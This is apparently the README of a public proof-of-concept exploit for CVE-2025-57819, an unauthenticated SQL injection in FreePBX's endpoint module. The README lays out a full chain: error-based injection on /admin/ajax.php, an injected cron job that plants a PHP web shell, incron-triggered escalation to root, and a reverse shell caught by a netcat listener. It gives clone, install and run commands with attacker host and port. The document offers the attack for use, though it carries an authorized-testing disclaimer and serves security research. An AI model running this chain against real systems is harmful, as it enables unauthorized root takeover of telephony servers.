CVE-2025-57819 — FreePBX SQL-инъекция → RCE → Root

Полноценный PoC для CVE-2025-57819. Неаутентифицированная ошибка на основе SQL-инъекции в модуле endpoint FreePBX, которая превращается в root shell через внедрение cron-задания и повышение привилегий с помощью incron.

Только для авторизованного тестирования и исследований. Не используйте против систем, которые вам не принадлежат.

Что делает

SQLi (EXTRACTVALUE) → INSERT cron job → webshell drop → incron trigger → root shell

1. Извлекает информацию о БД через инъекцию на основе ошибок на /admin/ajax.php
2. Внедряет cron-задание, которое записывает PHP-веб-шелл в корневую директорию веб-сервера
3. Ожидает выполнения cron (~60 с), подтверждает RCE как asterisk
4. Создает файл триггера incron, который запускает хук fwconsole от имени root
5. Перехватывает обратный шелл на вашем слушателе

Установка

git clone https://github.com/ozcanpng/CVE-2025-57819-FreePBX-RCE2Root
cd CVE-2025-57819-FreePBX-RCE2Root
pip install -r requirements.txt

Использование

python3 CVE-2025-57819.py <target> <lhost> <lport> [--cleanup]

Сначала запустите слушатель:

nc -lvnp 9999

Затем запустите:

python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999

--cleanup удаляет веб-шелл и cron-задание после эксплуатации.

Затронутые версии

FreePBX с установленным модулем endpoint. Параметр brand в /admin/ajax.php передается без санитизации в SQL-запрос.

Ссылки

• FreePBX Security Advisory GHSA-m42g-xg4c-5f3h
• NVD — CVE-2025-57819

Автор

ozcanpng — github.com/ozcanpng — ozcanpng.dev